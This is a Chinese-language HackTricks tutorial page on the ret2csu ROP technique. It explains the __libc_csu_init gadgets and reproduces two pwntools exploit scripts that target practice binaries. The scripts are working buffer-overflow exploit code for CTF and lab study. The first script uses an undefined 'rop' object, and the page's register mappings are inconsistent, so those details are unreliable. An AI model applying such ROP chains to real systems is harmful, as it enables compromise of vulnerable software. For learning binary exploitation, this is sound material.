> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/ret2csu.md).

# Ret2csu

<details>

<summary><strong>从零开始学习AWS黑客技术，成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

##

## <https://www.scs.stanford.edu/brop/bittau-brop.pdf>基本信息

**ret2csu**是一种黑客技术，当您试图控制程序但找不到通常用于操纵程序行为的**gadgets**时使用。

当程序使用某些库（如libc）时，它具有用于管理程序中不同部分如何通信的一些内置函数。在这些函数中，有一些隐藏的宝石可以充当我们缺失的gadgets，特别是一个称为`__libc_csu_init`的函数。

### \_\_libc\_csu\_init中的神奇Gadgets

在\*\*`__libc_csu_init`\*\*中，有两个要突出的指令序列（gadgets）：

1. 第一个序列允许我们在几个寄存器（rbx、rbp、r12、r13、r14、r15）中设置值。这些类似于我们可以稍后使用的数字或地址的存储槽。

```armasm
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;
```

这个工具允许我们通过从堆栈中弹出值来控制这些寄存器。

2. 第二个序列使用我们设置的值来执行一些操作：

* **将特定值移动到其他寄存器**，使它们准备好作为函数参数使用。
* **调用一个位置**，该位置由将r15和rbx中的值相加确定，然后将rbx乘以8。

```armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```

2. 也许你不知道任何要写入的地址，而且你需要一个 `ret` 指令。请注意，第二个小工具也会以 `ret` 结尾，但是你需要满足一些条件才能到达它：

```armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret
```

条件如下：

* `[r12 + rbx*8]` 必须指向存储可调用函数的地址（如果没有思路且没有PIE，可以直接使用 `_init` 函数）；
* 如果 `_init` 在 `0x400560`，使用 GEF 在内存中搜索指向它的指针，并使 `[r12 + rbx*8]` 成为具有指向 `_init` 的指针的地址：

```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44  →   "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44  →   "\x60\x05\x40[...]"
```

* `rbp` 和 `rbx` 必须具有相同的值以避免跳转
* 你需要考虑一些省略的弹出操作

## RDI 和 RSI

从 ret2csu gadget 中控制 **`rdi`** 和 **`rsi`** 的另一种方法是通过访问特定的偏移量：

<figure><img src="/files/ka5lKWQZpe2cOO60axG7" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>

查看此页面以获取更多信息：

{% content-ref url="/pages/VIpBoCGw8xMFOJTh5UaW" %}
[BROP - Blind Return Oriented Programming](/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
{% endcontent-ref %}

## 示例

### 使用调用

假设你想要进行系统调用或调用一个像 `write()` 这样的函数，但需要在 `rdx` 和 `rsi` 寄存器中作为参数具有特定值。通常，你会寻找直接设置这些寄存器的 gadget，但你找不到任何。

这就是 **ret2csu** 发挥作用的地方：

1. **设置寄存器**：使用第一个 magic gadget 从堆栈中弹出值并将其放入 rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx) 和 r15 中。
2. **使用第二个 Gadget**：有了这些设置的寄存器，你可以使用第二个 gadget。这使你可以将你选择的值移动到 `rdx` 和 `rsi` 中 (分别来自 r14 和 r13)，为函数调用准备参数。此外，通过控制 `r15` 和 `rbx`，你可以使程序调用位于你计算并放入 `[r15 + rbx*8]` 中的地址的函数。

你可以在[**这里使用此技术并解释它的示例**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)，这是它使用的最终利用：

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"
```

{% hint style="warning" %}
请注意，前面的漏洞利用并不意味着进行RCE，而是仅仅调用一个名为`win`的函数（从标准输入中获取`win`的地址，在ROP链中调用gets并将其存储在r15中），并将第三个参数的值设为`0xdeadbeefcafed00d`。
{% endhint %}

### 绕过调用并到达ret

以下漏洞利用是从[**此页面**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html)提取的，在这个页面中使用了**ret2csu**，但是不是使用调用，而是**绕过比较并到达`ret`**。

```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()
```

### 为什么不直接使用libc？

通常这些情况也容易受到[**ret2plt**](/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](/binary-exploitation/rop-return-oriented-programing/ret2lib.md)的影响，但有时您需要控制的参数比直接在libc中找到的gadget更多。例如，`write()`函数需要三个参数，**直接找到设置所有这些参数的gadget可能是不可能的**。
